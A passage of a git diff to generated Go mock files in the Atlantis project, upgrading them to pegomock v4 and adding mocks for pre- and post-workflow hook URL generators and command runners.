invocationCountMatcher: invocationCountMatcher, @@ -61,7 +61,7 @@ func (mock *MockLockURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher } } -func (mock *MockLockURLGenerator) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockLockURLGenerator { +func (mock *MockLockURLGenerator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockLockURLGenerator { return &VerifierMockLockURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -71,14 +71,14 @@ func (mock *MockLockURLGenerator) VerifyWasCalledEventually(invocationCountMatch type VerifierMockLockURLGenerator struct { mock *MockLockURLGenerator - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockLockURLGenerator) GenerateLockURL(lockID string) *MockLockURLGenerator_GenerateLockURL_OngoingVerification { - params := []pegomock.Param{lockID} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GenerateLockURL", params, verifier.timeout) + _params := []pegomock.Param{lockID} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GenerateLockURL", _params, verifier.timeout) return &MockLockURLGenerator_GenerateLockURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -93,11 +93,13 @@ func (c *MockLockURLGenerator_GenerateLockURL_OngoingVerification) GetCapturedAr } func (c *MockLockURLGenerator_GenerateLockURL_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } } } return diff --git a/server/events/mocks/mock_pending_plan_finder.go b/server/events/mocks/mock_pending_plan_finder.go index 626379a683..56fb6b8c6a 100644 --- a/server/events/mocks/mock_pending_plan_finder.go +++ b/server/events/mocks/mock_pending_plan_finder.go @@ -4,7 +4,7 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" events "github.com/runatlantis/atlantis/server/events" "reflect" "time" @@ -25,38 +25,38 @@ func NewMockPendingPlanFinder(options ...pegomock.Option) *MockPendingPlanFinder func (mock *MockPendingPlanFinder) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockPendingPlanFinder) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockPendingPlanFinder) Find(pullDir string) ([]events.PendingPlan, error) { +func (mock *MockPendingPlanFinder) DeletePlans(pullDir string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPendingPlanFinder().") } - params := []pegomock.Param{pullDir} - result := pegomock.GetGenericMockFrom(mock).Invoke("Find", params, []reflect.Type{reflect.TypeOf((*[]events.PendingPlan)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 []events.PendingPlan - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].([]events.PendingPlan) - } - if result[1] != nil { - ret1 = result[1].(error) + _params := []pegomock.Param{pullDir} + _result := pegomock.GetGenericMockFrom(mock).Invoke("DeletePlans", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0, ret1 + return _ret0 } -func (mock *MockPendingPlanFinder) DeletePlans(pullDir string) error { +func (mock *MockPendingPlanFinder) Find(pullDir string) ([]events.PendingPlan, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPendingPlanFinder().") } - params := []pegomock.Param{pullDir} - result := pegomock.GetGenericMockFrom(mock).Invoke("DeletePlans", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{pullDir} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Find", _params, []reflect.Type{reflect.TypeOf((*[]events.PendingPlan)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []events.PendingPlan + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]events.PendingPlan) + } + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0 + return _ret0, _ret1 } func (mock *MockPendingPlanFinder) VerifyWasCalledOnce() *VerifierMockPendingPlanFinder { @@ -66,14 +66,14 @@ func (mock *MockPendingPlanFinder) VerifyWasCalledOnce() *VerifierMockPendingPla } } -func (mock *MockPendingPlanFinder) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockPendingPlanFinder { +func (mock *MockPendingPlanFinder) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPendingPlanFinder { return &VerifierMockPendingPlanFinder{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockPendingPlanFinder) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPendingPlanFinder { +func (mock *MockPendingPlanFinder) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPendingPlanFinder { return &VerifierMockPendingPlanFinder{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -81,7 +81,7 @@ func (mock *MockPendingPlanFinder) VerifyWasCalledInOrder(invocationCountMatcher } } -func (mock *MockPendingPlanFinder) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockPendingPlanFinder { +func (mock *MockPendingPlanFinder) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPendingPlanFinder { return &VerifierMockPendingPlanFinder{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -91,60 +91,64 @@ func (mock *MockPendingPlanFinder) VerifyWasCalledEventually(invocationCountMatc type VerifierMockPendingPlanFinder struct { mock *MockPendingPlanFinder - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockPendingPlanFinder) Find(pullDir string) *MockPendingPlanFinder_Find_OngoingVerification { - params := []pegomock.Param{pullDir} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Find", params, verifier.timeout) - return &MockPendingPlanFinder_Find_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockPendingPlanFinder) DeletePlans(pullDir string) *MockPendingPlanFinder_DeletePlans_OngoingVerification { + _params := []pegomock.Param{pullDir} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeletePlans", _params, verifier.timeout) + return &MockPendingPlanFinder_DeletePlans_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockPendingPlanFinder_Find_OngoingVerification struct { +type MockPendingPlanFinder_DeletePlans_OngoingVerification struct { mock *MockPendingPlanFinder methodInvocations []pegomock.MethodInvocation } -func (c *MockPendingPlanFinder_Find_OngoingVerification) GetCapturedArguments() string { +func (c *MockPendingPlanFinder_DeletePlans_OngoingVerification) GetCapturedArguments() string { pullDir := c.GetAllCapturedArguments() return pullDir[len(pullDir)-1] } -func (c *MockPendingPlanFinder_Find_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) +func (c *MockPendingPlanFinder_DeletePlans_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } } } return } -func (verifier *VerifierMockPendingPlanFinder) DeletePlans(pullDir string) *MockPendingPlanFinder_DeletePlans_OngoingVerification { - params := []pegomock.Param{pullDir} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeletePlans", params, verifier.timeout) - return &MockPendingPlanFinder_DeletePlans_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockPendingPlanFinder) Find(pullDir string) *MockPendingPlanFinder_Find_OngoingVerification { + _params := []pegomock.Param{pullDir} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Find", _params, verifier.timeout) + return &MockPendingPlanFinder_Find_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockPendingPlanFinder_DeletePlans_OngoingVerification struct { +type MockPendingPlanFinder_Find_OngoingVerification struct { mock *MockPendingPlanFinder methodInvocations []pegomock.MethodInvocation } -func (c *MockPendingPlanFinder_DeletePlans_OngoingVerification) GetCapturedArguments() string { +func (c *MockPendingPlanFinder_Find_OngoingVerification) GetCapturedArguments() string { pullDir := c.GetAllCapturedArguments() return pullDir[len(pullDir)-1] } -func (c *MockPendingPlanFinder_DeletePlans_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) +func (c *MockPendingPlanFinder_Find_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } } } return diff --git a/server/events/mocks/mock_post_workflow_hook_url_generator.go b/server/events/mocks/mock_post_workflow_hook_url_generator.go new file mode 100644 index 0000000000..71e577f464 --- /dev/null +++ b/server/events/mocks/mock_post_workflow_hook_url_generator.go @@ -0,0 +1,110 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/events (interfaces: PostWorkflowHookURLGenerator) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + "reflect" + "time" +) + +type MockPostWorkflowHookURLGenerator struct { + fail func(message string, callerSkip ...int) +} + +func NewMockPostWorkflowHookURLGenerator(options ...pegomock.Option) *MockPostWorkflowHookURLGenerator { + mock := &MockPostWorkflowHookURLGenerator{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockPostWorkflowHookURLGenerator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockPostWorkflowHookURLGenerator) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockPostWorkflowHookURLGenerator) GenerateProjectWorkflowHookURL(hookID string) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockPostWorkflowHookURLGenerator().") + } + _params := []pegomock.Param{hookID} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GenerateProjectWorkflowHookURL", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockPostWorkflowHookURLGenerator) VerifyWasCalledOnce() *VerifierMockPostWorkflowHookURLGenerator { + return &VerifierMockPostWorkflowHookURLGenerator{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockPostWorkflowHookURLGenerator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPostWorkflowHookURLGenerator { + return &VerifierMockPostWorkflowHookURLGenerator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockPostWorkflowHookURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPostWorkflowHookURLGenerator { + return &VerifierMockPostWorkflowHookURLGenerator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockPostWorkflowHookURLGenerator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPostWorkflowHookURLGenerator { + return &VerifierMockPostWorkflowHookURLGenerator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockPostWorkflowHookURLGenerator struct { + mock *MockPostWorkflowHookURLGenerator + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockPostWorkflowHookURLGenerator) GenerateProjectWorkflowHookURL(hookID string) *MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification { + _params := []pegomock.Param{hookID} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GenerateProjectWorkflowHookURL", _params, verifier.timeout) + return &MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification struct { + mock *MockPostWorkflowHookURLGenerator + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification) GetCapturedArguments() string { + hookID := c.GetAllCapturedArguments() + return hookID[len(hookID)-1] +} + +func (c *MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + } + return +} diff --git a/server/events/mocks/mock_post_workflows_hooks_command_runner.go b/server/events/mocks/mock_post_workflows_hooks_command_runner.go new file mode 100644 index 0000000000..cec7aaec6d --- /dev/null +++ b/server/events/mocks/mock_post_workflows_hooks_command_runner.go @@ -0,0 +1,116 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/events (interfaces: PostWorkflowHooksCommandRunner) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + events "github.com/runatlantis/atlantis/server/events" + command "github.com/runatlantis/atlantis/server/events/command" + "reflect" + "time" +) + +type MockPostWorkflowHooksCommandRunner struct { + fail func(message string, callerSkip ...int) +} + +func NewMockPostWorkflowHooksCommandRunner(options ...pegomock.Option) *MockPostWorkflowHooksCommandRunner { + mock := &MockPostWorkflowHooksCommandRunner{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockPostWorkflowHooksCommandRunner) SetFailHandler(fh pegomock.FailHandler) { + mock.fail = fh +} +func (mock *MockPostWorkflowHooksCommandRunner) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockPostWorkflowHooksCommandRunner) RunPostHooks(ctx *command.Context, cmd *events.CommentCommand) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockPostWorkflowHooksCommandRunner().") + } + _params := []pegomock.Param{ctx, cmd} + _result := pegomock.GetGenericMockFrom(mock).Invoke("RunPostHooks", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockPostWorkflowHooksCommandRunner) VerifyWasCalledOnce() *VerifierMockPostWorkflowHooksCommandRunner { + return &VerifierMockPostWorkflowHooksCommandRunner{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockPostWorkflowHooksCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPostWorkflowHooksCommandRunner { + return &VerifierMockPostWorkflowHooksCommandRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockPostWorkflowHooksCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPostWorkflowHooksCommandRunner { + return &VerifierMockPostWorkflowHooksCommandRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockPostWorkflowHooksCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPostWorkflowHooksCommandRunner { + return &VerifierMockPostWorkflowHooksCommandRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockPostWorkflowHooksCommandRunner struct { + mock *MockPostWorkflowHooksCommandRunner + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockPostWorkflowHooksCommandRunner) RunPostHooks(ctx *command.Context, cmd *events.CommentCommand) *MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification { + _params := []pegomock.Param{ctx, cmd} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunPostHooks", _params, verifier.timeout) + return &MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification struct { + mock *MockPostWorkflowHooksCommandRunner + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { + ctx, cmd := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], cmd[len(cmd)-1] +} + +func (c *MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*command.Context, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*command.Context) + } + } + if len(_params) > 1 { + _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*events.CommentCommand) + } + } + } + return +} diff --git a/server/events/mocks/mock_pre_workflow_hook_url_generator.go b/server/events/mocks/mock_pre_workflow_hook_url_generator.go new file mode 100644 index 0000000000..e779202327 --- /dev/null +++ b/server/events/mocks/mock_pre_workflow_hook_url_generator.go @@ -0,0 +1,110 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/events (interfaces: PreWorkflowHookURLGenerator) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + "reflect" + "time" +) + +type MockPreWorkflowHookURLGenerator struct { + fail func(message string, callerSkip ...int) +} + +func NewMockPreWorkflowHookURLGenerator(options ...pegomock.Option) *MockPreWorkflowHookURLGenerator { + mock := &MockPreWorkflowHookURLGenerator{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockPreWorkflowHookURLGenerator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockPreWorkflowHookURLGenerator) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockPreWorkflowHookURLGenerator) GenerateProjectWorkflowHookURL(hookID string) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockPreWorkflowHookURLGenerator().") + } + _params := []pegomock.Param{hookID} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GenerateProjectWorkflowHookURL", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockPreWorkflowHookURLGenerator) VerifyWasCalledOnce() *VerifierMockPreWorkflowHookURLGenerator { + return &VerifierMockPreWorkflowHookURLGenerator{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockPreWorkflowHookURLGenerator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPreWorkflowHookURLGenerator { + return &VerifierMockPreWorkflowHookURLGenerator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockPreWorkflowHookURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPreWorkflowHookURLGenerator { + return &VerifierMockPreWorkflowHookURLGenerator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockPreWorkflowHookURLGenerator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPreWorkflowHookURLGenerator { + return &VerifierMockPreWorkflowHookURLGenerator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockPreWorkflowHookURLGenerator struct { + mock *MockPreWorkflowHookURLGenerator + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockPreWorkflowHookURLGenerator) GenerateProjectWorkflowHookURL(hookID string) *MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification { + _params := []pegomock.Param{hookID} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GenerateProjectWorkflowHookURL", _params, verifier.timeout) + return &MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification struct { + mock *MockPreWorkflowHookURLGenerator + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification) GetCapturedArguments() string { + hookID := c.GetAllCapturedArguments() + return hookID[len(hookID)-1] +} + +func (c *MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + } + return +} diff --git a/server/events/mocks/mock_pre_workflows_hooks_command_runner.go b/server/events/mocks/mock_pre_workflows_hooks_command_runner.go new file mode 100644 index 0000000000..730ef8799e --- /dev/null +++ b/server/events/mocks/mock_pre_workflows_hooks_command_runner.go @@ -0,0 +1,116 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/events (interfaces: PreWorkflowHooksCommandRunner) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + events "github.com/runatlantis/atlantis/server/events" + command "github.com/runatlantis/atlantis/server/events/command" + "reflect" + "time" +) + +type MockPreWorkflowHooksCommandRunner struct { + fail func(message string, callerSkip ...int) +} + +func NewMockPreWorkflowHooksCommandRunner(options ...pegomock.Option) *MockPreWorkflowHooksCommandRunner { + mock := &MockPreWorkflowHooksCommandRunner{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockPreWorkflowHooksCommandRunner) SetFailHandler(fh pegomock.FailHandler) { + mock.fail = fh +} +func (mock *MockPreWorkflowHooksCommandRunner) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockPreWorkflowHooksCommandRunner) RunPreHooks(ctx *command.Context, cmd *events.CommentCommand) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockPreWorkflowHooksCommandRunner().") + } + _params := []pegomock.Param{ctx, cmd} + _result := pegomock.GetGenericMockFrom(mock).Invoke("RunPreHooks", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockPreWorkflowHooksCommandRunner) VerifyWasCalledOnce() *VerifierMockPreWorkflowHooksCommandRunner { + return &VerifierMockPreWorkflowHooksCommandRunner{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockPreWorkflowHooksCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPreWorkflowHooksCommandRunner { + return &VerifierMockPreWorkflowHooksCommandRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockPreWorkflowHooksCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPreWorkflowHooksCommandRunner { + return &VerifierMockPreWorkflowHooksCommandRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockPreWorkflowHooksCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPreWorkflowHooksCommandRunner { + return &VerifierMockPreWorkflowHooksCommandRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockPreWorkflowHooksCommandRunner struct { + mock *MockPreWorkflowHooksCommandRunner + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockPreWorkflowHooksCommandRunner) RunPreHooks(ctx *command.Context, cmd *events.CommentCommand) *MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification { + _params := []pegomock.Param{ctx, cmd} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunPreHooks", _params, verifier.timeout) + return &MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification struct { + mock *MockPreWorkflowHooksCommandRunner + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { + ctx, cmd := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], cmd[len(cmd)-1] +} + +func (c *MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*command.Context, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*command.Context) + } + } + if len(_params) > 1 { + _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*events.CommentCommand) + } + } + } + return +} diff --git a/server/events/mocks/mock_project_command_builder.go b/server/events/mocks/mock_project_command_builder.go index f32d3ac754..4395759917 100644 --- a/server/events/mocks/mock_project_command_builder.go +++ b/server/events/mocks/mock_project_command_builder.go @@ -4,9 +4,9 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" events "github.com/runatlantis/atlantis/server/events" - models "github.com/runatlantis/atlantis/server/events/models" + command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) @@ -26,61 +26,137 @@ func NewMockProjectCommandBuilder(options ...pegomock.Option) *MockProjectComman func (mock *MockProjectCommandBuilder) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockProjectCommandBuilder) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockProjectCommandBuilder) BuildAutoplanCommands(ctx *events.CommandContext) ([]models.ProjectCommandContext, error) { +func (mock *MockProjectCommandBuilder) BuildApplyCommands(ctx *command.Context, comment *events.CommentCommand) ([]command.ProjectContext, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectCommandBuilder().") } - params := []pegomock.Param{ctx} - result := pegomock.GetGenericMockFrom(mock).Invoke("BuildAutoplanCommands", params, []reflect.Type{reflect.TypeOf((*[]models.ProjectCommandContext)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 []models.ProjectCommandContext - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].([]models.ProjectCommandContext) + _params := []pegomock.Param{ctx, comment} + _result := pegomock.GetGenericMockFrom(mock).Invoke("BuildApplyCommands", _params, 